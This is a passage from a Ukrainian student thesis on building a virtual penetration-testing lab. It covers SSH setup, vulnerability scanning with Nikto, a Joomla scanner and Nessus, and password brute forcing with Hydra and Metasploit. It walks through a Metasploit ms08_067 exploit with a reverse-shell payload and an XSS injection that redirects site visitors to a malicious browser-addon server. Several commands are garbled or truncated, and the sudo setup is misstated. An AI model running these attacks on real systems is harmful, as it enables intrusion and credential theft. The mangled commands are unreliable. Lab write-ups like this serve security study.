Для надання користувачу ssh-klient потрібно внести зміни в файл /usr/sbin/visudo

та дописати у відповідну графу наступне:

# User privilege specification

ALL=(ALL:ALL) ALLklient ALL=(ALL:ALL) ALL

Дана операція наддасть користувачі привілеїв супер-користувача, або, інакшими словами, права root. Такий рівень доступу надає повний контроль на машиною, тому тут потрібно буди обачним.

Вже на даному етапі можна підключатись до сервера, використовуючи "захищений шелл": На компютері-клієнті вводимо наступну команду а вводимо пароль: ssh ssh-klient@192.168.0.103

Рис. 24. Вхід в віддалену систему.

де ssh - використання програмиklient - імя під яким хочемо здійснити вхід

.168.0.103 - IP-адреса сервера (можна й доменне імя, про це згодом). Підтвердженням успішного входу є зміна облікового запису (в даному випадку з shellshock на ssh-klient), а також відповідна зміна машини (з shellshock-KU на localhost (через особливості реалізації сервера)).

Тепер можна робити все, що забажаєм, так, неначе знаходимось безпосередньо за сервером. Для автоматичного входу, який не потребує підтвердження машини паролем, використовують ключі.

При використанні методу ідентифікації Identity / Pubkey виключається використання статичних паролів. Щоб кожен раз не набирати паролі, які можна перехопити, ми будемо зберігати на диску пару ключів, які й будуть використовуватися для перевірки автентичності.

Ось деякі з позитивних моментів цього типу аутентифікації: Ніхто не зможе увійти на сервер з вашим профілем, так як їм необхідно володіти приватним ключем і кодової фразою. Адміністратор сервера може взагалі прибрати пароль облікового запису, щоб виключити його дискредитацію.

Можна встановлювати певні обмеження, наприклад забороняючи перенаправлення портів, виконання певних програм і т.д.

Для генерації пари ключів нам необхідно скористатися утилітою ssh-keygen, яка входить в стандартний комплект установки.keygen -t rsa (на локальній машині, тобто на "клієнті")

Відповідно на сервері ці ключі потрібно скопіювати:copy-id -i ~/.ssh/id_rsa.pub ssh-klient@192.168.0.103

Після цих маніпуляцій вхід на сервер під даним обліковим записом з даної клієнтської машини буде відбуватись автоматично. Притім такий спосіб є навіть більш надійним, аніж ввод паролю, який в теорії можна перехопити.має ще декілька цікавих особливостей використання:

Для доступу до сервера можна виходити за межі внутрішніх NAT-мереж, та здійснювати підключення по ssh через глобальну мережу. Для цьому потрібно щоб за сервером була закріплена статична адреса (в противному разі потрібно використовувати ddns), та була налаштована відповідним чином переадресація портів на маршрутизаторі. Для прикладу налаштування мого роутера.

Рис. 25. Налаштування віртуальних серверів.

Така конфігурація дає змогу "мати під рукою" власний сервер усюди, де є мережа інтернет. При такому підключені IP-адреса вводиться статична, або (якщо є) -доменне імя.

Користувача можна не вводити, якщо попередньо був налаштований "шарінг" ключа.

Рис. 26. Вхід без пароля

Ще однією особливістю ssh є можливість передавати файли по ssh-тунелю.

Для цьому використовується sshfs (ssh file system).

Встановлення sudo apt-get install sshfs

Дана опція дуже корисна при налаштуванні веб-сервера, адже можна примотувати /var/www безпосередньо на локальний компютер (обовязково надати локальному компютеру права типу 776).

Приклад використання:

shellshock1953.ddns.net:/var/www /media/server

Рис. 27. Монтування на клієнті.

Рис. 28. Монтування на сервері

Оскільки Linux поняття ядра та оточення (так званих Іксів, X) розділені, і впринципі є можливість "стрімити" потік ядра, по ssh можна передавати графічне віддалене управління. Процедура схожа з Radmin чи TeamViewer, з тією різницею, що на Linux зображення можна "стрімити" оминаючи екран самого сервера. Такий термінальний розподіл дозволяє "малювати" не тільки цілий робочий стіл, а конкретні програми, що суттєво знижує нагрузку на сервер.

Дана опція називається ForwardX, а вмикається розкоментуванням у файлі/etc/ssh/ssh_config строки ForwardX11 зі зміною "no" на "yes".

Після чого потрібно перезапустити ssh командою

/etc/init.d/ssh restart

Сама команда запуску має вигляд: -X user_name@IP_server (запуск цілого оточення)-X user_name@IP_server 'blender' (запуск графічного оточення програми blender)дуже корисна річ, як для адміністратора, користувача чи зловмисника. Віддалений доступ до командної стрічки слугує для повного контролю віддаленої машини, у разі якщо адміністратор не попіклувався про створення нового користувача з обмеженими правами. Привілеї у системі Linux розподілені так, що окремих користувачів (або цілі групи) можна віднести до групи sudo (користувач може знаходитись у кількох групах одночасно), що дає повний контроль над тим що і як відбувається в системі.

Висновок до розділу 2

В даному розділі розглядається встановлення всього необхідного, для функціонування веб-сервера. Перш за все це встановлення відповідного ПЗ:

·Apache (для FreeBSD це Apache24), для прослуховування 80 та 8080 портів, для передачі потрібної сторінки сайту.

·PHP - для виконання програмної частини на веб-сервері, потрібного для нормального функціонування сайту. Більшість веб-двигунів використовують PHP, як допоміжну ланку. Самі двигуни працюють, як правило на JavaScript. Проте весь код JavaScript виконується на стороні клієнта, тому додатково нічого встановлювати не потрібно. Наявність на веб-сервері інтерпретатора команд, створює вразливість, оскільки є можливість виконання коду зловмисником.

·MySQL - найпоширеніша СУБД. База даних на веб-сервері потрібна для швидкодії. Це особливо відчутно на поштових серверах. Бази даних створені таким чином, щоб якумога скоріше приймати та віддавати інформацію. Наявність на сервері бази даних, і звісно СУБД, також є небезпечним, адже при вразливостях, типу сліпої інєкції, зловмисник без особливих зусиль може отримати дані з бази.

Форвард портів потрібний, якщо віртуальна тестова лабораторія знаходиться за маршрутизатором. Форвард дозволяє отримати доступ до лабораторії ззовні, для віддаленого адміністрування. Хорошою особливістю методу, є можливість швидкого закриття доступу для «світу», притім внутрішня структура мережі не зміниться. Доступ здійснюється за допомогою ssh, що використовує метод шифрування трафіку RSA, та вважається достатньо надійним, для доступу до комерційних серверів.

Розділ 3. Тестування на надійність в середовищі віртуальної тестової лабораторії

.1 Тестування веб-сервера

Тестування сервера передбачає використання спеціальних утиліт, що віддалено сканують сервер, та виявляють в ньому всі недоліки. Такими можуть бути використання служб на стандартних портах (особливо ssh), неправильна конфігурація веб-сервера, не видалені інсталяційні скріпти, слабкі паролі, халтурність (розміщення cgi скріптів в корені сайту, або в папці cgi-bin, що явно виказує їх розміщення, та дає можливість неправомірного виконання), тощо.

Всі програми для виявлення вразливостей, а також програми для використання вразливостей запускаються з ОС BackTrack.

.2 Uniscan

- це графічна оболонка для таких сканерів, як PSCAN, Spider, Uscan, Fuzz. Проте найкраще використовується як графічний сканер портів.

Рис. 29. Відкриті порти.

Оскільки відкриті 110 та 143, можна судити що окрім веб, на сервері є й пошта. Для перевірки цього твердження, можна попробувати переглянути всі домени сервера, а також приблизну структуру файлів.

Рис. 30. Домени поштового сервера.

Методом підбору, можна дізнатись, який клієнт використовується для управління поштою. В даному випадку це postfixadmin. З цього слідує, що поштою на сервері керує postfix.

3.3 Hydra

Утиліта для перебору паролів, іншими словами «брутфорс». Метод «брутфорс» використовується в разі, якщо вразливостей не виявлено, або вразливості незначні. Також таким методом користуються ті, хто впевнений - адміністратор не слідкує за вхідним трафіком. Справа в тім, що кожна невдала спроба реєструється в логах, об'єм яких швидко зростатиме. Проте, за наявності достатньої кількості часу, та потужного комп'ютера цей метод є самим дієвим. Якщо знати, що користувачі нехтують безпекою, використовують слабкі паролі, шанс успіху різко зростає.

В даному випадку, доцільно спробувати наступні логіни, root, admin, shellshock, postfix. Логін shellshock є зміст пробувати, оскільки назва домену може збігтись з логіном адміністратора, а postfix - оскільки це назва служби.

В BackTrack передбачено кілька словників, звідки hydra буде брати паролі. Ще утиліта може використовувати одночасно перебір логінів, що сильно сповільнить процес, але може дати успіх, якщо логін невідомий.

Рис. 31. Інтерфейс утиліти Hydra.

За кілька годин перебору, пароль був знайдений, та записаний у лог програми. Оскільки складність заключала в підборі логіну, це потребувало там багато часу.

3.4 Nikto

Даний веб-сканер містить в свої базі 3500 можливих вразливостей. Є підтримка плагінів, що дозволяє користувачам розширювати можливості програми, додаючи нові типи сканування.

До ключових особливостей, можна віднести:

·"Обхід" IDS (Intrusion Detection System, система виявлення вторгнення).

·Підтримка SSL (Secure Sockets Layer).

·Підтримка проксі.

·Висновок у форматах: текст, HTML, CSV (Comma Separated Values).

·Знаходить Веб-сервера, розташовані на нестандартних портах.

·Перевірка величезного числа вразливостей.

Сам синтаксис дуже простий. Все що потрібно ввести наступну команду:

-h shellshock.uar.net

Відповідно вивід наступний:

Nikto v2.1.6

--------------------------------------------------------------------------

+ Target IP: 194.44.10.33

+ Target Hostname: deigineor.uar.net

+ Target Port: 80

+ Start Time: 2015-05-22 05:53:37 (GMT-4)

--------------------------------------------------------------------------

+ Server: Apache/2.4.12 (FreeBSD) PHP/5.6.8

+ Retrieved x-powered-by header: PHP/5.6.8

+ The anti-clickjacking X-Frame-Options header is not present.

+ Server leaks inodes via ETags, header found with file /bin/, fields: 0x1f 0x511d2156072c0

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3092: /administrator/: This might be interesting...

+ OSVDB-3092: /bin/: This might be interesting...

+ OSVDB-3092: /includes/: This might be interesting...

+ OSVDB-3092: /logs/: This might be interesting...

+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.

+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.

+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.

+ /administrator/index.php: Admin login page/section found.

+ 7331 requests: 0 error(s) and 13 item(s) reported on remote host

+ End Time: 2015-05-22 05:56:52 (GMT-4) (195 seconds)

--------------------------------------------------------------------------

+ 1 host(s) tested

Детальніше вивід зазначає наступне: версію сервера, програми веб-сервера, веб-двигун, а також відзначає знайдені вразливості. Наприклад стандартне розміщення файлів в директорії сайту. На перший погляд це не складає проблеми. Проте варто зазначити, що двигун сайту Joombla, який є безплатним. Тобто кожен бажаючий може скачати, встановити, та вивчити стандартне розміщення файлів. Таким чином, при експлуатації вразливості, серйознішої за дану, зловмисник буде легко орієнтуватись в структурі сайту, що безумовно буде йому на руку. Крім того розміщення такий файлів, як htaccess.txt взагалі небажане, про що повідомляє сканер, та пропонує або перейменувати або є видалити. Справа в тім, що даний файл контролює політику безпеки на сайті, і якщо зловмиснику вдасться його змінити, він отримає повний доступ.

Найбільшою вразливістю є XST, що дозволить розміщувати сторінки, чи навіть окремі частини сторінок на віддалених хостах. Таким чином, зловмисник має можливість заміщувати оригінальні сторінки, своїми, які проситимуть ввод паролю, і користувачі, звісно, будуть їх вводити. Адже користувач, який бачить тільки доменне імя, а не реальну ІР адресу, нічого не запідозрить.

3.5 Joomblascan

З попереднього тесту, визначено, що двигуном сайту є Joombla. Це не дивно, адже це дуже поширений продукт. Проте, через його поширеність, зловмисники дуже зацікавлені в виявленні всіх його вразливостей, для використання в своїх потребах. містить сканер вразливостей для даного веб-двигуна.

Як і попередній, синтаксис сканера дуже простий-u deigineor.uar.net/administrator

Вивід програми є досить обширним, та містить, детальний опис використаних версій ПЗ на веб-двигуні. Найцікавішими є такі записи:

# 1-> Core: Multiple XSS/CSRF Vulnerability Affected: 1.5.9 <= : /?1.5.9-x: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities. ? N/A

# 2-> Core: JSession SSL Session Disclosure Vulnerability effected: Joomla! 1.5.8 <= : /?1.5.8-x: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session. ? N/A

# 16-> CoreComponent: com_banners Blind SQL Injection Vulnerability effected: N/A: /components/com_banners/: /index.php?option=com_banners&task=archivesection&id=0'+and+'1'='1::/index.php?option=com_banners&task=archivesection&id=0'+and+'1'='2? Yes

# 138-> Component: Joomla Component (com_bnf) SQL Injection Vulnerability Affected: Any <= : /index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1: /index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1? No

Всього Joomblascan знайшов 138 недоліків. Якщо вказано Versions Affected: Any <=, то це означає, що це вразливість попередніх версій, і в даній версії не є актуальною. Проте Vulnerable? Yes відзначає саме вразливість, якою можливо скористатись. Відповідно де вказно No, це просто недолік, на безпеку ніякого впливу немає.

На даному сайті, є вразливість Blind SQL Injection Vulnerability, тобто сліпа інєкція. Використання її призводить до атаки на базу даних. Метод заключається в підміні значень, в адресній строчці браузера, допоки не відобразиться потрібне для зловмисника значення. Якщо веб-двигун був налаштований невірно, та користувач від імені веб-двигуна має привілеї на бази даних адміністратора, зловмисник може отримати всі паролі.

Захист від такої вразливості заключається в забороні виводу помилок для користувачів, а також в ретельнішому конфігуруванні БД.

3.6 Nessus

Проект Nessus був заснований в 1998 році. - програма для автоматичного пошуку відомих вад в захисті інформаційних систем. Вона здатна виявити найбільш часто зустрічаються види вразливостей, наприклад:

·Наявність вразливих версій служб або доменів

·Помилки в конфігурації (наприклад, відсутність необхідності авторизації на SMTP-сервері)

·Наявність паролів за замовчуванням, порожніх, або слабких паролів

Програма має клієнт-серверну архітектуру, що сильно розширює можливості сканування. Відповідно до проведеного порталом securitylab.ru опитуванням, nessus використовують 17% респондентів

.7 Плагіни

Відмінна риса Nessus - розумні плагіни. Сканер ніколи не буде сканувати сервіс тільки за номером його порту. Перемістивши веб-сервер зі стандартного 80-го порту, скажімо, на 1234-й, обдурити Nessus не вдасться - він це визначить. Якщо на FTP-сервері відключений анонімний користувач, а частина плагінів використовують його для перевірки, то сканер не буде їх запускати, усвідомивши, що результату від них не буде. Якщо плагін експлуатує уразливість в Postfix, Nessus не буде пробувати тести проти Sendmail - і т.д. Зрозуміло, що для виконання перевірок на локальній системі, необхідно надати сканеру Credentials (логіни і паролі для доступу) - це завершальна частина налаштування правил.

3.8 Установка програми

-i Nessus-5.2.5-debian6_i386.deb

після чого активуємо службу Nessus

/etc/init.d/nessusd start

3.9 Використання

Насамперед використовується для сканування портів і визначає сервіси, що використовують їх. Також проводиться перевірка сервісів по базі вразливостей. Для тестування вразливостей використовуються спеціальні плагіни, написані мовою NASL (Nessus Attack Scripting Language).

База вразливостей оновлюється щотижня, однак для комерційних передплатників є можливість завантажувати нові плагіни без семиденної затримки.

При відключеній опції «safe checks» деякі тести на уразливості, використовувані Nessus можуть привести до порушень в роботі сканованих систем.

Управління сканером здійснюється через веб-інтерфейс. Щоб туди потрапити, введіть в адресному рядку браузера https://127.0.0.1:8834. Тут буде потрібно створити аккаунт адміністратора, вказавши логін і пароль. На наступному кроці необхідно ввести код активації, який прийде на вашу електронну пошту, вказану на сайті виробника при реєстрації. Завершальною стадією установки є завантаження плагінів.

Для збереження результатів сканування в базі даних Метасплойта, необхідно до неї підключитися

db_connect <user:pass>@<host:port>/<database>

Тепер нам потрібно довантажити плагін nessus: load nessus

Рис. 32. Nessus і Metasploit.

і підключитися до сервера Nessus_connect username:password@hostname:port

На жаль, управління через консоль Метасплойта не дозволяє скористатися всіма можливостями Nessus. Так, наприклад, для створення завдання сканування необхідна наявність політики сканування (параметрів для проведення певного типу сканування), яку можна створити тільки через веб-інтерфейс Нессуса. У зв'язку з цим буде розглянута як робота з консоллю, так і робота з веб-інтерфейсом.

3.10 Робота з веб-інтерфейсом

Перш за все, потрібно створити політики це правила, за якими буде здійснено сканування. Таких політик в програмі є декілька. Деякі з них не доступні з безплатної версії. Проте, загальновживані присутні.

Найбільш вагомою є Політика тестування веб-додатків.

Рис. 33. Політики.

Вона має можливість сканування веб-додатків на різній «глибині».

Рис. 34. «Глибина» пошуку.

Після створення необхідних політик, можна створювати нове сканування.

Рис. 35. Нове сканування.

Є можливість сканування одразу декількох серверів, компютерів, тощо.

Залежно від обраної політики та кількості адресів, сканування може зайняти чимало часу.

Тут на допомогу стає створення графіку сканування.

Завершене сканування має наступний вигляд

Більш детальний перегляд

Відмінною особливістю сканера є рекомендації по усуненню вразливостей

Завершальним етапом є імпорт збережених результатів сканування в базу даних Metasploit

_import /root/Desktop/nessus_report_PentestIT_Веб.nessus


Рис. 36. Результат сканування.

Рис. 37. Імпорт.

Рис. 38. Більш детальний результат сканування.

Рис. 39. Рекомендації.

3.11 VEGA

В порівнянні з попереднім, даний сканер програє у інтерактивності. Його не можна покласти на віддалене сканування через певні проміжки часу. Але у порівнянні з більшістю, сканер виграє. Деякою перевагою над Nessus є те, що його не потрібно встановлювати як окремий сервер, а функціоналу він не сильно посувається. Це виражається у більш детальній побудові структурі сайту, а також більш жорсткій політиці тестування. Ключовою особливість є вивід рекомендацій по усуненню вразливостей.

Рис. 40. Vega.

3.12 Тестування надійності засобів віддаленого управління

Перш за все, доцільно протестувати головний метод віддаленого управління, а саме ssh. Ssh шифрується за допомогою алгоритму шифрування rsa, тому про злам самого алгоритму мова не йде. Проте, як і будь-який інший, даний алгоритм вразливий до «брутфорс»-атаки. Наявність слабкого ключа - гарант успішної атаки на ssh.

Для практичної демонстрації злому, використано засоби програми Metasploit.

ssh_version

Дізнатись коректну версію ssh, що встановлено на сервері потрібно, щоб збільшити шанс успіху.

Щоб викликати цей допоміжний модуль використано наступну команду:auxiliary/scanner/ssh/ssh_version

Достатньо вказати цільовий діапазон адрес в "Rhosts". "Rhosts" може бути унікальним IP-адресом, IP-адресом в діапазоні (наприклад: 192.168.1.0-192.168.1.255 або 192.168.1.0/24) або файлом (наприклад: /tmp/ip_addresses.txt).

Рис. 41. Версія ssh.

ssh_login

Після отримання версії ssh, що працює на стороні сервера, функціонал зловмисника зростає. Для прикладу, можна скористатись модулем ssh_login. Відмінною рисою модуля є одночасний перебір по логіну та паролю. Звісно це сильно збільшує час перебору, проте, якщо відомо імена кількох користувачів - час перебору зменшиться.

Щоб викликати цей допоміжний модуль просто введіть наступну команду: Use auxiliary/scanner/ssh/ssh_login

Цей модуль намагається перевірити відповідність за допомогою SSH на сервері з використанням імені користувача та пароля, зазначені в "USER_FILE", "PASS_FILE" і "USERPASS_FILE". В Metasploit забезпечено файли для "USER_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) і "PASS_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). Також можна використовувати SkullSecurity список паролів, або свій власний список.

Кожен успішний злом автоматично створить нову сесію.

Рис. 42. Опції.

Допустимі спроби входу відображаються зеленим кольором, невдалі забарвлено в червоний.

Рис. 43. Процес перебору.

Рис. 44. Створення активної сесії.

3.13 Тестування надійності ОС, що встановлені у віртуальному тестовому середовищі

Додатковою особливістю віртуальної тестової лабораторії є її універсальність. Тестування може здійснюватися не тільки щодо веб-серверів, чи поштових-серверів, ігрових, ftp і т.п. Система дозволяє тестувати на проникнення будь-який пристрій, що має вихід в Інтернет. Хорошим прикладом універсальності лабораторії є тестування на проникнення різних операційних система персонального використання, як наприклад Windows.

.14 Metasploit

Створений компанією Rapid7 у 2003 році. Поставляється для Linux та Windows. Що цікаво, так це ліцензія на програму - BSD, тобто безплатна з можливістю додання змін у вихідний код програми. Саме BSD дала великий поштовх у розвиток Metasploit, тому база програми розширюється з кожним роком сотнями ентузіастів у сфері ІБ, як зловмисниками так і спеціалістами.насамперед модульна, експлойти та "начинки" до них можна як скачати окремо, по мірі їх необхідності, або створити самому.

Експлойти - це програми, які використовують вразливості системи. Для кожної вразливості потрібен свій експлойт.

"Начинка" (payload) - вектор, в якому буде здійснено злом. Іншими словами, тоді як експлойт це використання вразливості, то "начинка" - вказує як саме використати вразливість.

сканування жертви на предмет відкритих портів

пошук експлойтів відповідно до знайдених вразливостей

застосування експлойтів, "начинок"

доступ до командного рядка жертви

Перед початком потрібно провірити, що кожна з машин бачить одна одну.

Зробити це можна командою "ping х.х.х.х" (де х.х.х.х відповідний IP адрес).

Для визначення ip-адреса в windows команда "ipconfig" (команди вводяться в командний рядок cmd.exe). Відповідно в Ubuntu команда "ifconfig" (вводиться в терміналі).

На домашній системі (хостовій) встановлено програму nmap. - це сканер вразливостей та відкритих портів. За його допомогою можна дізнатись про вразливості майже будь-якого компютера, якщо той знаходиться в мережі інтернет та має зовнішній IP-адрес. Його особливістю є те, що в 80% жертва не буде знати що її було проскановано. - кроссплатформений, а також безплатний, його особливістю є його дуже широкий функціонал, висока швидкість роботи, а також компактний розмір (як пакету інсталяції так і в оперативній памяті при його роботі).

Сканування здійснювалось з хостової машини, командою nmap з параметром -А, що дало більш агресивне та повне сканування.

Загалом команда nmap -A 192.168.0.102 дала такий результат:

Рис. 45. Результат сканування за допомогою Nmap.

/tcp open msrpc Microsoft Windows RPC ; 139/tcp open netbios-ssn ; 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds ; 2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP) - це порти, найбільш потрібними є 135 та 445.

Конкретно порти 135 та 445 є системними, через які можна завдяки певним маніпуляціям, повисити собі права, до системних. І саме ці порти відкриті про що свідчить параметр open.

Крім того вдалось просканувати та дізнатись тип операційної системи, унікальну MAC-адресу компютера, робочу групу, імя компютера та навіть годину. Це далеко не всі можливості Nmap, але в контексті даної роботи не вистачать перерахувати всіх можливостей цього сканера.

Відкриті порти свідчать про те, що на системі-жертві відключений Брандмауер, основна задача якого саме фільтрувати трафік, закриваючи відповідні порти. Також з цією задачею може справитись антивірус.

Після успішного сканування, командою msfupdate оновлено базу даних Metasploit на BackTrack, для пошуку можливих експлойтів, які б підійшли до цих портів. Оновити базу виявилось легко, адже все відбувалось в автоматичному режимі.

Запуск Metasloit через команду msfconsole, тобто в консольному режимі. Графічний інтерфейс у Metasloit є, але через недостатню потужність компютера (три операційні системи працюють паралельно одна одній одночасно), вирішено скористатись консоллю.

Після запуску msfconsole, компютер складав базу. Показником нормальної роботи програми є вивід "msf >" - тобто відтепер звернення відбувається не від свого імені, а від імені програми.

Знайшовши в інтернеті, що для цих портів найкраще застосовувати експлойти з netapi.

"search netapi" - пошук по базі всіх експлойтів дав декілька результатів, серед який був один з тегом "great", що означає велику ймовірність успіху.

Наступним кроком було підключення цього експлойта командою

"use exploit/windows/smb/ms08_067_netapi".

"show options" переконався, що хоча б один з відкритих портів підтримується.

Встановив RHOST, тобто вказав адрес жертви,

"set RHOST 192.168.0.102"

"set PAYLOAD windows/shell/reverse_tcp" - задав "начинку".

Тут доступна велика кількість варіантів, але обрано shell, для доступу до "оболонки" Windows. Як варіант можна було використати

"set payload windows/meterpreter/reverse_tcp"

"set LHOST 192.168.0.100" - закріплення, тобто вказано звідки буде здійснено атаку, та де "висітиме" експлойт.

"exploit" - запустити процес злому. Після чого все відбувається в автоматичному режимі, і залишається лише чекати та надіятись на успіх.

При першій спробі, доступ отримати не вдалось, натомість було отримано ще більше даних про жертву.

§[*] Started reverse handler on 192.168.0.100:4444

§[*] Automatically detecting the target...

§[*] Fingerprint: Windows XP - Service Pack 3 - lang:Russian

§[*] Selected Target: Windows XP SP3 Russian (NX)

§[*] Attempting to trigger the vulnerability...

Дізнавшись, яка мова стоїть на компютері, можна дещо збільшити шанси на успіх.

"show targets" - список можливих жертв, знайшовши у списку XP3 з російською мовою, задав цей параметр

"set target 60" (60 номер за списком)

Підтвердженням, того що процедура злому успішна, була зміна msf> на C:/(імя користувача)

Рис. 46. Успішний злом.

Потрапивши у систему, зловмисник вільний робити все. При бажані можна було б навіть форматувати жорсткий диск.

Найчастіший розвиток подій в такій ситуації, внесення змін у реєстр Windows, для подальшого "тихого" встановлення програми, типу Radmin, VNC, для віддаленого керування компютером, використовуючи графічний інтерфейс, або становлення невидимих кейлоггерів для крадіжки паролів. Варіантів багато.

Оскільки кількість експлойтів є дуже великою, весь процес можна здійснити по іншому: все залежить від того, які саме цілі переслідуються. Для прикладу можна було скористатись наступними командами

§search dcom

§use exploit/windows/dcerpc/ms03_026_dcom

§set RHOST

§PAYLOAD generic/shell_reverse_tcp

§set LHOST

Тобто в разі неможливості здійснення проникнення в систему одним методом, можна використати інший, комбінуючи різні експлойти та «начинки».

Єдиним дієвим методом протидії є ввімнення фаєрволу, встановлення антивірусу, оновлення ПЗ. Справа в тім, що фаєрвол закриває ті порти, як не виготовується. Деякі антивіруси також мають таку можливість. Також антивіруси не дозволять відбуватись підозрілій активності без відома користувача. Оновлення ПЗ природнім чином усуває вразливість, оскільки вона викликана невірним написанням коду програми (ОС), що при оновленні виправляється розколинками.

3.15 Використання вразливості XSS

Всі попередні сканери вразливостей виявили небезпечну вразливість XSS (XST). Експлуатація її дозволяє отримати повний доступ саме до користувача, який мав нещастя зайти на сайт, з цією вразливістю.

Суть заключається в тому, що при написанні повідомлення (наприклад на форумі), це повідомлення ніяк не ігнорується системою. Таким чином можна написати код, який виконаєтеся. Для перевірки вразливості, введем наступне:

<script>alert(NO)</script>

Рис. 47. Перевірка вразливості.

Рис. 48. Вразливість присутня.

При отриманні результату як на Рис. 49. можна переходити до наступного кроку. А саме - написання переадресації користувача з даного серверна, на інший, який спеціально конфігурований, щоб «зламати» користувача.

Для того, щоб не писати такий спеціально конфігурований сайт самому, можна скористатись засобами Metasploit. В BackTrack вводимо msfconsole та очікуємо на привітання програми.

firefox_xpi_bootstrtapped_addonLSHOT 194.168.0.102

Рис. 49. Експлойт «Розширення для браузера».

Таким чином, отримали очікуваний веб-сервер, за адресою 192.168.0.102:7070/C6p8Hq5wPip

Повертаємось до вразливого сайту.

На місті alert вводимо наступне

<script>window.location = 192.168.0.102:7070/C6p8Hq5wPip</script>

Оскільки форма відправки не дозволяє відправити більше, аніж 50 символів, потрібно у випадаючому меню, обрати «Дослідити елемент» та змінити значення.

Рис. 50. Переадресація користувача.

Тепер залишається лишень чекати, коли хтось перейде на сайт.

Після переходу, користувачеві буде пропоновано скачати розширення до браузера. Тут йде в хід соціальної інженерія.-l

Виведе всі активні сесії, тобто користувачів, які перейшли за посиланням.

Перевіряєм чи справді все вдалось. Навмання вводимо команду. Dir - на ОС Windows виведе список папок.

Рис. 51. Активні сесії.

Рис. 52. Успішне проникнення.

Висновок до розділу 3

В даному розділі розлянуто виявлення вразливостей. Насамперед це здійснюється за допомогою засобів ОС BackTrack. В даній ОС попередньо встановлена велика кількість потрібних сканерів.

Сканери вразливостей надсилають на досліджуваний сервер велику кількість даних, та аналізуються відповіді. Деякі сканери (Nesuss, VEGA) працюють більш жорстко, тобто їхнє сканування передбачає проникнення в систему. Тому їх використання повинне бути обдуманим, на не бути направленим на обєкти, що не належать до досліджуваної групи. В противному разі сканування можна вважати спробою злому системи, та потягне за собою відповідну відповідальність.

Також в даному розділі розглянуто методи використання виявлених вразливостей. Це робиться для того, щоб перевірити, чи справді дана вразливість є небезпечною, а також, щоб зрозуміти дії зловмисника, та ефективно їх заблокувати. Такий підхід дозволить реально зрозуміти, як вразливість себе проявляє, та що є її першопричиною.

Потрібно памятати, що сканування відбувається відповідно до попередньо створених баз. Це означає, що виявлені вразливості є виявленими тільки тому, що вони є відомими. Вразливості «нульового дня» - ще не виявлені, або недоступні широкому загалу, проте можуть бути використані зловмисниками. Захист від них можливий лише при детальному їх аналізі.

Висновок

Метаю даної дипломної роботи було створення віртуальної тестової лабораторії. На практиці, було використано наступні засоби:

·Один ноутбук, фірми EMachines

oПроцесор: Intel Core i3-370M

oОперативна память: 4 Gb DDR3

oОС - Kubuntu 13.10 64bit

·Віртуальні машини запущені з VirtualBox 4.3:

oОС для здійснення атак -BackTrack 5 R3 64Bit

oОС для тестування на вразливість - Windows XP SP2 32Bit

oОС для тестування веб-сервера - FreeBSD 10.1 64Bit

Тестування відбувалось, зокрема, на основні вразливості системи. Такі вразливості вдалось знайти завдяки сканерам вразливостей Nessus, Nikto, Uniscan.

В даній роботі акцент зроблено на створенні робочої віртуальної лабораторії. Також наведено кілька прикладів виявлення вразливостей, та практична демонстрація використання цих вразливостей для отримання несанкціонованого доступу до інформації, що зберігається на віддалених машинах. Дані приклади спричинені досліджуваною системою - веб-сервером, що функціонує на ОС FreeBSD. Тобто кількість тестів є необмеженою, та залежить від конкретної ситуації. Також, як продемонстровано в роботі, є можливість тестування користувацьких ОС.

Проект даної віртуальної тестової лабораторії дозволить тестувати різного роду ПЗ, а також цілі ОС на предмет наявності в них вразливих місць. Сама лабораторія являє собою комплекс програмно-віртуалізованих ОС, одна частина яких складає обєкти тестування, інша - субєкти. Заміна цих засобів не вимагає великих зусиль, адже лабораторія є модульним рішенням. Таким чином, можливо швидко змінювати вектор тестування, та акцентувати увагу на потрібних тестах.

Додатково, віртуальна тестова лабораторія здатна тестувати не тільки віртуальні машини, але й реальні. Таким чином можна аналізувати ситуацію, виявляти недоліки та усувати їх, не виводячи праюючі системи з роботи.

Проект віртуальної тестової лабораторії можна розприділити між декількома компютерами, таким чином збільшуючи обчислювальні потужності. Для прикладу можна тестувати надійність паролів, методом їх перебору на декількох машинах, що зменшить час тесту. Таким самим чином можна проводити тести на відміну в обслуговуванні, звертаючись з багатьох компютерів, до одного сервера.

Список використаних джерел

1.Linux. Администрирование и системное программирование. 2-е изд. - Собель М - Google Книги

2.Установка и Допиливание BackTrack 5

.Как запустить backtrack 5

.TP-LINK Форум Просмотр темы - Проброс портов\Port Forwarding

.Как настроить резервирование адресов на DHCP-сервере (чипсет Broadcom) - Добро пожаловать в TP-LINK

.Kali Linux - Википедия

.Установка Windows XP в виртуальную машину VirtualBox

.Виртуальная машина VirtualBox | Русскоязычная документация по Ubuntu

.Сравнение виртуальных машин - Википедия

.VirtualBox - Википедия

.VirtualBox

. [HOWTO] Install LinuxOnAndroid distros on yo… | Android Development and Hacking | XDA Forums

.LAMP | Русскоязычная документация по Ubuntu

.LAMP (apache mysql php) | Русскоязычная документация по Ubuntu

.Scanner SSH Auxiliary Modules - Metasploit Unleashed

.Enable SSH server on Backtrack 5 r2 | Hezik.nl

.Utilizing Metasploit as a Login Scanner and as a Brute force Attack Tool | Penetration Testing Laboratory | Online Training Courses - Learn Penetration Testing in Practice

.Eric Romang Blog » Metasploit SSH Auxiliary Modules

.VNC Personal Edition 4.5. Лицензия! Купить VNC Personal Edition 4.5 в SoftKey

20.VNC, RDP и прочие прелести удаленных десктопов GNU/Linux в Новосибирске

Похожие работы на - Створення гнучкої системи тестування веб-серверів для їх захисту від несанкціонованого доступу

 

Не нашли материал для своей работы?
Поможем написать уникальную работу
Без плагиата!